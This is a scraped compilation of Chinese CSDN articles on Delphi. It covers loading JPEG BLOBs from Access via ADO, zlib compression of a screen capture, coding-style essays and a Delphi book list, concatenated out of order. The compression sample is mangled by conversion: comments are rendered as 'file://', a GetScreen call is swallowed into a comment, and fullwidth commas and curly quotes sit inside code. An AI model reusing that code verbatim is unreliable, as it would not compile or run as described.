回到第一章我们创建数据库的时候，在Applications表的最后一个字段我们留为空（其他字段我们填上了哑元数据）。最后字段的字段名为Picture，类型为OLE对象类型。

如果你右滚到DBGrid的最后一列，你将看到如图的情况：

Blob in DBGrid

使用MS Access时，我们可以在OLE对象类型的字段中存储图像（和其他大数据对象，如声音或录像）。这种类型的数据被视为Binary Large Object Bitmap (BLOB)大二进制对象位图。

当然在处理图像时，几种类型的图片格式是可利用的。最常用的包括JPEG、GIF和BMP。其中JPEG已被网页设计者广泛接受，因为其所需的数据存储量很小（换句话说，JPEGs的数据量比BMPs要小）。

当然，Delphi有处理BMP、GIF和JPEG图形格式的方法。本章接下来的部分将处理JPEG文件格式。

在Access中存储图片（Storing pictures in Access）

在讨论在Delphi表单中显示数据库表中的图像以前，我们需要在数据库中增加一些图形数据。

运行Access，打开aboutdelphi.mdb库。打开Applications表（它应有一行数据）并选择Picture（图片）字段。

A table in Access

按下面的步骤增加图像：

1、选择Insert（插入） | Object（对象）...将显示一个Insert Object（插入对象）对话框。

MS Access...Insert Object
2、点击Browse（浏览）按钮，将弹出Browse（浏览）打开对话框。注：在你的计算机上可能有一些.jpg文件，因此你可以使用这些文件，或如果你有Win98和更新的版本，MS Paint将以这种格式保存图片—其他许多工具也可完成同样的功能。找到存放图片的目录并选择一个图片。
注：Picture图片字段上的文本拥有一个可执行的、用于处理计算机上JPEG文件的名称。当然，在表格上你不会看见图片。为了真正看见图片可双击该字段，这将以JPG格式载出与应用程序相关联的图像。
现在，在数据库我们已经拥有了图片，让我们看看怎样在Delphi表单中显示它。从第二章起，我们已有了一个带有数据组件的Delphi表单。


CSDN_文档中心_Delphi数据库编程教程（五）

第二节 使用DBImage引出JPEG—错误的方式

DBImage—思路一（The DBImage - take one）

当试图使用Delphi做新的尝试时，我所做的第一件事是向Delphi的自带帮助寻求方法。这是帮助文档将回答：TDBImage（在组件面板的Data Controls页）表示数据库当前记录的一个BLOB字段的图形图像。使用TDBImage表示图形字段值。TDBImage允许表单显示数据库的图形数据。TDBImage仅仅比TImage组件多了一些数据可视属性。其中两个最重要的属性是：DataSource（数据源）和Field（字段）。DataSource（数据源）属性连接图形组件到数据库。在我们的表单上有一个名为DataSource1的DataSource（数据源）组件—代表着一个数据集。Field（字段）属性指出拥有图像的字段（在表中）。
一切都清楚了，现在在表单上放置一个DBImage组件并默认名为DBImage1。为了真正的把DBImage与表的BLOB字段相连，我们仅需要做以下的配置（使用Object Inspector）：

DBImage1.DataSource = DataSource1
DBImage1.Field = Picture

为了显示存在Applications表的Picture字段的JPEG图像，这是必需的窍门。

为了验证这样的配置是否可以工作，我们所需做的唯一一件事是设置ADOTable1组件的Active（激活）属性为True即可。在设计时我们就可在Object Inspector（对象检视器）中完成。一旦你这样做了，就会出现以下的对话框：

Bitmap image not supported

什么？为什么显示“位图图像无效”呢？我们有JPEG图片而不是BMP图片—问题就在这里吗？让我们再回头看看帮助。

通过在帮助中的一阵点击之后，得出结论：为了得到数据库里的JPG图片，我们得使用TJpegImage对象。为了显示图片，我们需要Image（图像）组件的简单、不可视版本。同时，我们需要用流（Stream）从BLOB对象中载出图片。帮助文档叙述：我们应使用TADOBlobStream来访问或改变ADO数据集中BLOB或memo（备注）字段的值。

第三节 用流引出JPEG—错误的方法

引出JPEG—思路二（Pulling the Jpeg - take two!）

既然我们不能使用DBImage做任何事—从表单中去掉它并放上一个普通的TImage组件（Additional页）命名为ADOImage。不幸的是，Image组件没有任何数据可视（data-aware）的属性，因此，需要一个单独的程序来显示它所表示的数据库表中的图片。完成这件事的最简单的方法是：在表单上放置一个Button（按钮），把所有的程序代码放在它的OnClick事件中，按钮的名称为：“btnShowImage”。

为了使用ADOBLOBStream，帮助文档建议创建一个TADOBlobStream实例，用“流”的方法从数据集中读取图形字段，然后释放BLOB流。在中间的某个地方，我们将需要用LoadFromStream方法从TADOBlobStream对象中载入JPEG图像。Image（图像）组件的Picture（图片）、Graphic（图形）属性将用于真正的存储和显示图片。

字段对象，它是什么？

这时，我假设只需要一点点关于字段对象的知识对于你掌握本章已绰绰有余了。在Delphi数据库的开发中，主要的对象之一是TField对象。字段组件是表示运行（或设计）时的数据集字段的非可视化对象。TADOTable（和其他TDataSet子类）提供设计时对Fields Editor（字段编辑器）的访问方法。Fields Editor使你能选择数据集中你所想包含的字段。更重要的是，它创建了应用程序数据集中使用的字段组件的稳固的列表。为了调用Fields Editor，可以双击TADOTable组件。默认情况下，字段列表是空的。点击Add按钮打开一个对话框，里面列出了Applications表的字段列表。缺省情况下，所有字段都被选择，然后选择OK。

Delphi会按如下的方式给出字段的默认名称：Table（表）名+Field（字段）名。这意味着我们的图片字段名为：ADOTable1Picture。

TADOBlobStream的Create（创建）方法创建一个实例用于读或写一个指定的BLOB字段对象，在这里是ADOTable1Picture字段。

我们在btnShowImage按钮的OnClick事件中写入程序代码。该代码将从当前所选行的Picture字段中读取图片。源代码如下所示：

uses jpeg;
...
procedure TForm1.btnShowImageClick(Sender: TObject);
var bS: TADOBlobStream;
Pic : TJpegImage;
begin
bS := TADOBlobStream.Create
(AdoTable1Picture, bmRead);
try
Pic:=TJpegImage.Create;
try
Pic.LoadFromStream(bS);
ADOImage.Picture.Graphic:=Pic;
finally
Pic.Free;
end;
finally
bS.Free
end;
end;

OK，让我们运行这个工程。当然，设置ADOTable1.Active属性为True。表单显示后，点击按钮，将出现下面的显示：

Jpeg read error

呃， 怎么哪？代码百分之百的正确但为什么不显示图像呢！记住“永不放弃，永不投降”！让我们深入到字节水平看看到底发生了什么！


CSDN_文档中心_Delphi数据库编程教程

Delphi数据库编程教程

题注：Delphi初学者编写数据库程序的免费在线教程，重点讨论ADO技术。

关于此教程：它是完全针对Delphi数据库编程初学者的免费在线教程，同时也可作为想了解Delphi数据库编程艺术的人的参考。开发者将学会怎样设计、开发和测试使用Delphi和ADO技术的数据库应用程序。本教程重点讨论在数据库应用程序中使用ADO的最常用的方法： 用TADOConnection连接数据库、使用Tables和Queries、处理数据库异常、创建报表等。

先决条件： 读者应有WINDOWS操作系统的应用知识、一定的Delphi编程知识。新的初学者可先参考“Delphi编程初学者指南”（有时间我也会翻译出来）。

第一章 数据库开发基础（用Delphi）

第一节 数据库编程工具 Delphi

许多Delphi初学者以写一个象“MyNotepad”这样的程序开始Delphi的编程的，而其他的开发人员则日以继夜的编写多媒体和图形应用程序，但是他们迟早会意识到今天90%的软件都将与以某种方式存储的某种数据相互作用和影响。

有一点是毫无疑问的：Delphi在数据管理上是有效而且可靠的。建立下一代商务软件的应用程序开发人员被Delphi所吸引是有其原因的： 使用Delphi，我们可以开发软件----操作所有类型的桌面数据库，如Paradox、dBase或MS Access。使用Delphi，我们也可以获得C/S的解决方案。

用Delphi进行数据访问......只需几个代码（Data Access with Delphi...just a few words）

Delphi自带40多个预先建立的数据库组件，提供可视化的编程环境--包含集成的代码编辑器、数据库表单向导（Database Form wizard）--加速可浏览的数据库表单的创建、数据模块设计器（Data Module Designer）--用于多个表单间的数据访问共享。还有其他几个Delphi提供的数据库专用工具也能加速代码的生成和降低编程的难度。

组件面板的数据访问页（Data Access）提供用于连接数据源的组件。数据控制页（Data Controls）中的数据可视化组件用于从数据库获得数据或送数据到数据库。ADO页的组件使用ActiveX Data Objects技术通过OLE DB访问数据库信息。InterBase页的组件用于直接访问InterBase数据库。

别离开（Don't runaway）

当然，数据库编程不是简单的不值一提的。在本课程中，我们将试着带给大家关于用Delphi进行数据库编程最新的技术、难题和解决方案以及所有对我们隐藏的秘密。

在使用Delphi的各种数据组件和工具以前，我们首先应了解数据库设计的一些概念并试着设计一个简单的数据库。

第二节 建立一个新的数据库

在我们开始用Delphi与数据库进行交互之前，了解一下现代数据库的特点是一个好主意。当你看到数据库这个词的时候，通常你就会想到存储在电脑里的各种数据—甚至一个.pas文件（某些Delphi单元的源代码）也是某种数据库，其他类型的数据库是一个Word文档或一个简单的.ini文件。为了访问一个.ini文件，我们通常使用针对归类或未归类文件（typed or untyped files）的例程和技术。

建立现代数据库应用程序需要我们用关系的方法考虑数据，关系模型的基本思路是数据库有一系列的表（或关系）组成，它们可以用操作符操作并返回表或所谓的视图。简单的说，数据库最好被描述为相关联的数据的集合。一个数据库可以包含许多不同的表，表象许多格子——列称为字段（fields），行称为...行（译者加：或记录）

为了完全的了解数据库设计和关系模型的概念，我们需要学习额外的在线教程——“关系数据库设计基础”（Fundamentals of Relational Database Design）（译者加：陆续译出）。

新.....数据库（New...Database）

既然本教程的重点是介绍ADO/Access的Delphi 数据库编程方法，因此现在我们将了解怎样在MS Access中创建一个新的.mdb数据库。
如果你不曾建立过MS Access数据库，你可以参考“MS Access教程”（MS Access Tutorials）（译者加：陆续译出）。

运行MS Access，创建一个新的命名为aboutdelphi.mdb的空数据库。在设计窗口中创建三个表：应用程序（Applications）、作者（Authors）和类型（Types）。让我们看看这些表的结构：

应用程序表（Applications）包含与应用程序描述要求相匹配的字段：姓名（Name）、描述（Description）、作者（Author）、类型（Type）、规模（Size）、成本（Cost）、DateUpl和照片（Picture）。姓名（Name）、描述（Description）、作者（Author）、类型（Type）字段包含文本（Text）数据，默认为50个字符。规模字段（Size）为数字字段（Number（Single））类型——以Kb为单位存储文件的规模。成本（Cost）字段是货币字段（Currency）——如果应用程序是共享软件或商业软件。DateUpl字段是Date/Time值。照片（Picture）是一个OLE Object类型，拥有应用程序的照片（任意的）。设置姓名（Name）字段为主关键字。

作者表（Authors）包含与应用程序作者要求相匹配的字段：作者名（AuthorName）、电子邮件（ Email）和网页（ Web）。所有字段都包含字符数据（默认为50个字符）。设置作者名（AuthorName）字段为主关键字。

类型表（Types）仅包含一个字段：类型名（TypeName），它也是该表的主关键字。该表用于存储应用程序的类型（图形、多媒体、数据库......）。

现在我们仅需要在关系窗口建立关系，数据库的建立就完成了。

关系间应“强制参考完整性”（Enforce Referential Integrity）在“层叠更新关联记录“（Cascade Update Related Records）前打勾。

2002年12月19日22：38


CSDN_文档中心_Delphi数据压缩处理(1)

Delphi数据压缩处理(1)

Borland公司推出的 RAD开发工具 Delphi 5.0作为 Windows平台上的主流开发工具，其可视化的开发环境和面向对象编程的强大功能已经吸引了无数的开发人员。但是，一些程序员在实际的开发过程中却时常为对大量的数据进行压缩而伤透脑筋，不得不去查找一些高效的压缩算法或在网上查找第三方的控件来实现压缩。难道 Delphi本身没有提供这个功能吗？其实 Delphi的程序设计师早就考虑到了这一点，他们提供了 Zlib.pas和 Zlibconst.pas两个单元文件来解决数据压缩问题，实现了很高的数据压缩比率。这两个文件保存在 Delphi 5.0安装光盘上 \Info\Extras\Zlib目录下，此外，在 Info\Extras\Zlib\Obj目录中还保存了 Zlib.pas单元引用的 Obj文件。下面本文以压缩一个屏幕拷贝为例介绍如何使用这项功能。

    解决思路

    首先利用屏幕拷贝捕捉到当前整个屏幕的图像，然后在内存中保存为 BMP文件格式。压缩时，使用 TCompressionStream对象对原始图像进行压缩并且保存为自定义的文件格式；解压缩时，使用 TDecompressionStream对象对被压缩的图像进行解压缩，还原为 BMP格式的图像文件。

    具体实现

    新建一个项目文件，在主单元的接口部分引用 Zlib.pas，在主表单上放置两个按钮 Button1、 Button2，在它们的 OnClick事件中写上相应的过程调用代码。

    部分程序源代码如下：

    unit Unit1;

    interface

    uses

     Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,StdCtrls, Zlib;

      type

        TForm1 = class(TForm)

        Button1: TButton;

        Button2: TButton;

        procedure Button1Click(Sender: TObject);

        procedure Button2Click(Sender: TObject);

      private

        { Private declarations }

      public

        { Public declarations }

      end;

      var

        Form1: TForm1;

        implementation

         {＄ R＊ .DFM}

      1．捕捉全屏幕图像

        procedure GetScreen(var Bmp: TBitmap);

        var

          Dc: HDC;

          MyCanvas: TCanvas;

          MyRect: TRect;

        begin

          Dc := GetWindowDC(0);

          MyCanvas := TCanvas.Create;

        try

          MyCanvas.Handle := Dc;

          MyRect:=Rect(0， 0,Screen.Width, Screen.Height);

          file://图像为 24位真彩色，也可根据实际需要调整

          Bmp.PixelFormat := pf24bit;

          Bmp.Width := MyRect.Right;

          Bmp.Height := MyRect.Bottom;

          file://捕捉整个屏幕图像

          Bmp.Canvas.CopyRect(MyRect, MyCanvas, MyRect);

          finally

          MyCanvas.Handle := 0;

          MyCanvas.Free;

          ReleaseDC(0, Dc);

        end;

      end;

2．压缩图像

      procedure CompressBitmap(var CompressedStream: TMemoryStream;const CompressionLevel: TCompressionLevel);

        var

          SourceStream: TCompressionStream;

          DestStream: TMemoryStream;

          Count: Integer;

        Begin

          file://获得图像流的原始尺寸

          Count := CompressedStream.Size;

          DestStream := TMemoryStream.Create;

          SourceStream:=TCompressionStream.Create

          (CompressionLevel, DestStream);

          Try

            file://SourceStream中保存着原始的图像流

            CompressedStream.SaveToStream(SourceStream);

            file://将原始图像流进行压缩， DestStream中保存着压缩后的图像流

            SourceStream.Free;

            CompressedStream.Clear;

            file://写入原始图像的尺寸

            CompressedStream.WriteBuffer(Count, SizeOf

            (Count));

            file://写入经过压缩的图像流

            CompressedStream.CopyFrom(DestStream, 0);

            finally

            DestStream.Free;

          end;

        end;

      3．还原被压缩图像

        procedure UnCompressBitmap(const CompressedStream: TFileStream; var Bmp: TBitmap);

          var

            SourceStream: TDecompressionStream;

            DestStream: TMemoryStream;


CSDN_文档中心_Delphi数据压缩处理(2)

Delphi数据压缩处理(2)

            Buffer: PChar;

            Count: Integer;

          Begin

            file://从被压缩的图像流中读出原始图像的尺寸

            CompressedStream.ReadBuffer(Count, SizeOf(Count));

            file://根据图像尺寸大小为将要读入的原始图像流分配内存块

            GetMem(Buffer, Count);

            DestStream := TMemoryStream.Create;

            SourceStream := TDecompressionStream.Create(CompressedStream);

          Try

            file://将被压缩的图像流解压缩，然后存入 Buffer内存块中

            SourceStream.ReadBuffer(Buffer^, Count);

            file://将原始图像流保存至 DestStream流中

            DestStream.WriteBuffer(Buffer^, Count);

            DestStream.Position := 0;//复位流指针

            //从 DestStream流中载入原始图像流

            Bmp.LoadFromStream(DestStream);

            finally

            FreeMem(Buffer);

            DestStream.Free;

          end;

        end;

      4．压缩按钮 OnClick事件

        procedure TForm1.Button1Click(Sender: TObject);

          var

            Bmp: TBitmap;

            CompressedStream: TMemoryStream;

          begin

            Bmp := TBitmap.Create;

            CompressedStream := TMemoryStream.Create;

          Try

             file://捕获当前整个屏幕 ,将图像保存至 Bmp对象中 GetScreen(Bmp);

            file://将 Bmp对象中的图像保存至内存流中

            Bmp.SaveToStream(CompressedStream);

            file://按缺省的压缩比例对原始图像流进行压缩

            CompressBitmap(CompressedStream, clDefault);

            file://将压缩之后的图像流保存为自定义格式的文件

            CompressedStream.SaveToFile(‘ C:\cj.dat’ );

            finally

            Bmp.Free;

            CompressedStream.Free;

          end;

        end;

      5．解压缩按钮 OnClick事件

          procedure TForm1.Button2Click(Sender: TObject);

            var

              CompressedStream: TFileStream;

              Bmp: TBitmap;

            begin

              Bmp := TBitmap.Create;

              file://以文件流的只读方式打开自定义的压缩格式文件

              CompressedStream := TFileStream.Create(‘ C:\cj.dat’ , fmOpenRead);

            Try

              file://将被压缩的图像流进行解压缩

              UnCompressBitmap(CompressedStream, Bmp);

              file://将原始图像流还原为指定的 BMP文件

              Bmp.SaveToFile(‘ C:\cj.bmp’ );

              finally

              Bmp.Free;

              CompressedStream.Free;

            end;

            end;

    此外 TCompressionStream对象还提供了 CompressionRate属性，该属性用于描述对原始数据进行压缩后的压缩比率，而 OnProgress事件在压缩与解压缩过程中都会被触发，开发人员可以在该事件中编写用于显示进度的代码。

    以上代码在 Delphi 5.0中调试运行通过。


CSDN_文档中心_Delphi随笔二

一、关于界面
界面对于一个程序，仿佛就是容貌对于一个人，重要性是不言而喻的。
一个程序的界面做的很漂亮是很好，但是如果界面不能很好的反映功能，那再漂亮的界面都是垃圾一堆，这方面我是有体会的，当你的大部分精力全放在如何

做一个漂亮的界面的时候，灾难就降临了，你将永远无法把程序的功能做好！如果想把程序做好，就不要考虑漂亮的界面，等到功能全部实现的时候，界面自然

就会出现，到时候美化也不迟。
这个问题上，Delphi的程序员可能遇到的最多，因为满天飞的都是漂亮的控件，这个也好，那个也好，不用真是可惜，于是找个一堆控件，一个个的试验过来

，功能全然不顾。其实用户用一个软件，不是因为界面漂亮，而是因为功能强。即使是在DOS窗口下跑的程序，只要功能强，用户照样会津津有味的使用，如果功

能弱的一塌糊涂，即使界面做成无比酷，最后的命运也是被删除。所以，写一个软件的时候，请首先从功能入手，而不是界面！
那么是不是不用考虑漂亮的界面呢？也不是。终究漂亮的界面是很吸引眼球的，但是要是按照我的意思，先弄个普通的界面，最后美化，会造成一个问题，就

是要修改很多代码，比如：

procedure TMainForm.Button1Click(Sender : TObject)
begin
FWidth := StrToInt(Edit1.Text);
FHeight := StrToInt(Edit2.Text);
FScreenSize := FWidth * FHeight;
end;

上面的代码运行的时候是没有什么问题的，但是一旦你换了一个Edit控件，或者是只是换了Edit的名字，工作量就出来了，一个两个的变化还没有问题，假如

这个Edit1.Text在代码里出现了100多个地方呢？怎么办？我的方法是把程序的界面和功能分开！代码尽量不要和具体的控件相关联。如下：
procedure TMainForm.SetParam(const Width, Height : string);
begin
FWidth := StrToInt(Width);
FHeight := StrToInt(Height);
FScreen := FWidth * FHeight;
end;
procedure TMainForm.Button1Click(Sender : TObject)
begin
SetParam(Edit1.Text, Edit2.Text);
end;
这个例子有点极端，好像是画蛇添足，但是当你大量的修改控件或者更换控件名字的时候，作用就显示出来了。到你最后想美化界面的时候，修改代码的工作

量会减轻很多。因为只要传入的参数更换一次就可以，而不是在无数的地方进行修改。
原则：界面和实现分开

二、全局变量
不要使用全局变量！！！即使设定的全局变量你认为一万年也不会变，也不要使用，因为说不定那天修改了一个功能，这个全局变量就要拆成两个变量了，那

么问题就会出现，还是通过参数传递吧。还是来个例子：
//main
const
ShowWidth = 384;
ShowHeight = 288;
...

// SetParamDlg 子窗口
SpinEdit1.Value := MainForm.ShowWidth;
SpinEdit2.Value := MainForm.ShowHeight;

上面的代码工作的不错，但是假如有一天客户说我要分辨率可变，怎么办？在const里重新加入ShowWidth1、ShowWidth2、、、？最后const的体积会越来越大

，查const的时候会累死你，那换一种方法：
//main
function ReadWidth : integer;
function ReadHeigth : integer;

SetParamDlg.Width := ReadWidth;
SetParamDlg.Height := ReadHeight;

//SetParamDlg
SpinEdit1.Value := FWidth;
SpinEdit2.Value := FHeight;

是不是比较好一点？
原则：尽量在一开始设计的时候把所有看起来目前不会变化的参数也做成动态的。

三、一个小问题
这是我在一个网站上看到的，比较有意思，而且感觉很容易犯，这里就抄袭一下了，不过这只是编程技巧，不是方法
function sum(a : array of word; count : word) : longword;
var
i : word;
begin
result := 0;
for i := 0 to count - 1 do inc(result, a[ i ]);
end;

上面的代码有问题么？乍看是没有问题，但是说不定什么时候他就当掉了。为什么？因为Count是个WORD，假如传入参数的时候Count=0会发生什么事情呢？对

了，WORD翻转了，那就等他循环FFFF次吧：）所以请注意无符号类型的操作！

累了，自己都感觉没写好，休息ing，欢迎砖头，欢迎高手来发表意见....


CSDN_文档中心_Delphi随笔一

一、老生长谈
Delphi VS VC已经是很古老的话题了，但是我还是想在这里谈一下，全是一家之言，如果不同意，请一笑之。
RAD的好处是很易见的，界面的设计上Delphi实在是高过VC。我要写一个非常规的透明按钮，Delphi只要找个控件，点一下鼠标，修改一下Caption就OK了，VC呢？至少要写上10几行代码才能搞定，当然MFC的做法让人了解windows底层的原理，但是OOP的封装性没有很好的体现，开发者要了解所有的底层才能写代码，对我对大多数的入门者是个折磨，因为没必要，现在是开发期限永远紧张，时间永远不够，我们不能指望程序员知道Windows编程的所有的方面，有人对视频很了解，有人对网络很在行，但是没有人是全才，样样在行是不现实的，所以封装是很重要的。如果每次开发新产品我都要在一个透明按钮或者一个漂亮的界面上花30%甚至更多的时间，那我就去跳河：）Delphi在界面上的确比MFC好！当然不是说MFC就设计不出漂亮的界面，只是花费的时间太长，不值得。
RAD就真的全是好处？也不是。至少对于初学者不是，因为它让人误会编程只是动动鼠标，拉拉框架，最后的结果就是让人觉得，Delphi就是用来写界面的，底层什么都不能做。好像MFC程序员都是这么讲Delphi程序员的：“你们的程序除了界面漂亮，还能做什么？”错！其实除了DDK，Delphi什么不能开发？API的头文件Delphi哪个没有？Borland没有转换的，JEDI都转换了，即使JEDI没有转，自己动手也是一样的，只要给我C的头文件，我就可以转换，JEDI上那篇短短的转换说明应该是每个Delphi程序员的必备文档。头文件转换了，剩下的就是开写了，MFC能做的，Delphi也可以！视频？网络？directx？Audio？哪个Delphi不能做？

二、子过程
写一个事件，很多人就是直接开写，不管代码有多长，做的事情有多少，只要是在一个事件里做的，一古脑写下去，结果是几个月后重新修改的时候无从下手，因为代码段实在太长了。那么为什么不把代码段拆开呢？人的注意力有有限的，超过100行的代码一口气看下来会晕的，Delphi的前辈告诉我一件事情：所有的过程（这里的过程包括procedure和function）不要超过25行！因为这个长度的代码看起来不会让你头晕，你会很容易了解这个过程要做的事情。
那么怎么把原本在一个事件做的事情拆开呢？方法很多，我的经验是模块化。比如一个事件里要做很多不同的事情，那么就把不同的事情化为不同的子过程，然后在主过程里调用，主过程里大多数就是一些判断和循环，不会出现具体的实现过程，这样会生出很多的代码段，但是会让你的注意力集中！
原则：一个过程只做一件事情，并且做好它。
参考：VCL的源代码。看看VCL的源代码，很少有超过25行的代码段！

三、参数名
记得当初学SDK的时候，我一看到匈牙利表示法就头晕，太多了！记不住啊！所以我恨那个发明者：）终于Delphi出现了，戴着镣铐跳舞的日子过去了！在Delphi里，定义一个字符串用strDoSometing这样的变量名是可笑的和不必要的。只要你的过程很短，不出现全局变量，就不需要这样的前缀。比如：
procedure SubPro;
var
i : byte;
Width, Height : integer;
begin
Width := GetWidth;
Height := GetHeight;
for i:=0 to 9 do
begin
DrawThread := TDrawThread.Create;
DrawThread.Width := Width;
DrawThread.Height := Height;
DrawThread.Start;
end;
end;
我想这样的代码段虽然没有注释，也很容易知道他要做的事情。所以，请去掉所有的前缀和下划线，Delphi的程序不需要这些！我们的参数名只要动词+名词就可以，只要说明这个参数的作用就可以，多余的东西我们不要，简单就是美，Pascal的好处就在于代码像在说话，而不是读天书，你的脑袋里是怎么想的，代码就是什么样子的。优美、简单，这是Pascal的好处，请遵守！
原则：简单就是美！

四、子窗口
很多人在调用子窗口的时候是直接对子窗口里的控件操作的，比如：
if SetAlarmParamDlg.ShowModal = MrOK then
begin
AlarmTimes := StrToInt(SetAlarmParamDlg.Edit1.Text);
AlarmArea := SetAlarmParamDlg.SpinEdit1.Value;
end;
天，假如明天用户觉得你用的Edit或者SpinEdit的样子难看，换了一个漂亮的控件，你怎么办？不但要修改子窗口的代码，还要修改主窗体的代码。一两个子窗口的程序当然不会让你痛苦，假如是一个有二十多个子窗体的程序呢？花一天的时间，原因却只是因为换了一个控件！为什么不换一个方法？把要用的参数用属性表示，你会少写无数的代码。
// 主窗体
if SetAlarmParamDlg.ShowModal = MrOK then
begin
AlarmTimes := SetAlarmParamDlg.AlarmTimes;
AlarmArea := SetAlarmParamDlg.AlarmArea;
end;

// 子窗体
interface
private
FAlarmTimes : integer;
FAlarmArea : integer;
published
property AlarmTimes : integer read FAlarmTimes write FAlarmTimes;
property AlarmArea : integer read FAlarmArea write FAlarmArea;

implementation
...
FAlarmTimes := StrToInt(Edit1.Text);
FAlarmArea := SpinEdit1.Value;

ModalResult := MrOK;
...

只要这样坚持下来，你会发现好处大大的，一个子窗口只做他自己的事情，主窗口和他的交互是通过属性来做的，只要接口不变，子窗口的修改不会影响到主窗口的代码，不管子窗口的样子怎么变换，控件怎么更换，代码怎么修改，整个程序都还是老样子，只是界面变了而已。
原则：模块化你的子窗口，窗口也是类，类之间怎么通信，窗口之间就应该怎么通信

我的文字功底不是很好，不大善于表达，如果写的有什么不对的地方，欢迎扔砖头：）


CSDN_文档中心_Delphi图书目录

第一部分 机械工业出版社
Delphi 5.X ADO/MTS/COM+ 高级程序设计篇（附光盘） 李维 2000-11-1 90 元
Delphi 5.0时尚编程百例（含 1CD） 网冠科技 29 元
Delphi编程技巧（多媒体与系统篇） 清宏计算机工作室 39 元
Delphi编程技巧（网络与数据库篇） 清宏计算机工作室 40 元
Delphi 4编程技术内幕（附光盘） （美）Charlie Calvert 110 元
Delphi5 编程实例与技巧 王华 梁志刚 王众 59 元
Delphi COM深入编程 （美）Eric Harmon 著 陈旭 48 元
Delphi 5.0开发实例（附光盘） 清汉计算机工作室 50 元
Delphi5.0 编程技巧与实例 张龙卿 张令军 编著 42 元
Delphi部件开发编程深入剖析 瞿继双 伯晓晨 等编著 65 元
Delphi 5.x分布式多层应用系统篇（附光盘） 李维 88 元 88 元
如何使用Delphi5.0 韩江 苏俊 等编著 28 元
Delphi 5开发人员指南（附光盘） （美）Steve Teixeira Xavier 138 元
Delphi 5企业级解决方案及应用剖析（附光盘） 刘艺 58 元
Delphi 5.x分布式多层应用电子商务篇 李维 75 元
Delphi数据库开发 清宏计算机工作室 38 元
Delphi 5数据库开发技术 毛峻龄 36 元 36 元
Delphi 3自学通 [美]Dan Osier Steve Grobman 49 元
Delphi新起点:4.0实用教程 詹里、万里根 46 元
Delphi 5.0多媒体时尚创作百例 网冠科技 37 元
Delphi程序设计教程习题及习题解答 刘瑞新
Delphi程序设计教程 刘瑞新
Delphi 6.0时尚编程百例 网冠科技

第二部分 电子工业出版社
Delphi 程序设计实用教程 叶核亚主编 22.00元
Delphi 5 教程 曾钟建编 36.00元
Delphi 5 基础与提高 新智工作室 46.00元
程序设计与算法基础教程(Delphi 5.0版) 张尧主编 25.00元
新概念电脑教程提高版--程序设计 Delphi 5(含光盘) 本书编委会 35.00元
Delphi 5 数据库编程 新智工作室 34.00元
Delphi 5 功能解析 窦万峰等 59.00元
Delphi 5 程序设计与控件参考 王小华 45.00元
Delphi 5应用系统开发高级指南 伍俊良主编 45.00元
Delphi 5 从入门到精通 王辉等译 72.00元
Delphi 5.0 开发基础与范例(附实例软盘) 肖永明等编 48.00元
Delphi 5 开发指南 王忠等 60.00元
Delphi 5应用程序设计实例 王小华著 28.00元
Delphi 5.0 开发与实例 王兴晶等编 40.00元
Delphi 4.0 教程 新智工作室 32.00元
Delphi 4.0 程序设计实用教程 尹立民 39.00元
Delphi 4 从入门到精通 美:Marco Cantu 90.00元
Delphi 3.0 开发技术实例 窦万峰等编 32.00元
Delphi 高级开发指南 王辉等译 80.00元
Delphi 2.0 入门图解 候英 19.00元
使用 Delphi 3 编程(含盘) 尚红昕译 44.00元
Delphi for Windows 95开发指南 郭庆 56.00元

第三部分 人民邮电出版社
Delphi 4.0 高级程序设计 (计算机实用软件丛书) 曹恒 郑城荣 赵为春
Delphi 5编程与开发实例 张晓东 杜宏生 编
Delphi 4 实用开发指南 (计算机技术入门提高精...) 康博创作室 著
Delphi 开发大全(上、下) [美] Steve Teixeira
Delphi 4.0数据库编程 刘韬 肖永须 王宇 等
全面掌握Delphi4 郭迅华 冯铁军 肖通
Delphi4.0程序开发 (计算机新技术丛书) 著
Delphi 运行时间库RTL和组件库VCL技术参考 郑城荣 曾凡奎 曹恒
Delphi 4.0实用编程 (计算机精品软件丛书) 新思维创作室 著
Delphi 4.0 入门与提高 著
Delphi4使用与开发指南 梁昊 李坤奇 著
轻松学习Delphi3.0编程 李晓华 著
Delphi3.0使用与开发指南 冯永红 王军 宋天平
Delphi4.0应用开发指南 陈惟斌 胡宇 王越
Delphi5编程指南 (计算机技术入门提高精...) 杨峰 赵国纲 崔建营
Delphi 5入门与提高 (计算机技术入门提高精...) 潇湘工作室 龙湘明 魏
Delphi 串口通信编程 黄军 熊勇 刘燕 刘
Delphi网骆高级编程 鲍敏 吴昊等 编著
Delphi及其在财经管理中的应用 (高等学校计算机教材) 朱顺泉 编著
Delphi 5数据库开发实例 (看实例学编程系列丛书) 同志工作室 编著
Delphi 5 API函数开发实例 (看实例学编程系列丛书) 同志工作室 编著
Delphi 5多媒体开发实例 (看实例学编程系列丛书) 同志工作室 编著
Delphi实战演练 段来盛 郑城荣 曹恒
特效视窗——Delphi开发高级界面实例 李睿 方坤 等 编著
Delphi5.0实用编程技术 天创工作室 著
Delphi 5程序员指南 (计算机编程指南丛书) 蒋方帅 潇湘工作室
Delphi5实用例库与高级编程技巧 李峰 聂文惠 著
Delphi编程疑难详解 季雪岗 王晓辉 张宏
Delphi5开发技巧与实例教程 同志工作室 著
Delphi程序设计 肖永顺 刘韬 李生海
Delphi 5高级编程——COM、CORBA与Internet编程 徐新华 著
Delphi5高级应用与开发 钱程 著
活学活用Delphi5 陈世明 著
Delphi5高级编程——IDE 与面向对象编程 徐新华 著
Delphi5高级编程——GUI编程 徐新华 著
Delphi 5高级编程——Database与MIDAS编程 徐新华 著
Delphi实用技术精粹 吕宗智 汪世攀 王晟
Delphi数据库编程技术 刘前进 王蒙 张宏林
Delphi 2.0高级程序设计 (计算机实用软件丛书) 曾凡奎
Delphi程序设计快速入门 (计算机实用软件丛书) 曾凡奎
Delphi程序设计入门 [美]Devra Hall 著

第四部分 清华大学出版社
Delphi 5.0因特网与数据库程序设计 刘海涛 童英 2001-8-1 36.00元
Delphi程序设计基础 刘海涛 2001-5-1 32.50元
Delphi 5.0专题开发指南 刘华 肖永顺 2000-8-1 39.80元
Delphi 5 数据库编程实战与精通 房增华等 2000-8-1 30.00元
Delphi 5 高级编程 熊 傲等 2000-8-1 33.00元
Delphi 5 实战与精通（精通篇） 方可燕等 2000-7-1 34.00元
Delphi 5 实例精通（配光盘） 徐万力 2000-7-1 30.00元
Delphi 5 实战与精通（实战篇） 唐 健等 2000-6-1 28.00元
Delphi 4.0/5.0 类参考详解 秦绪佳等 2000-5-1 48.00元
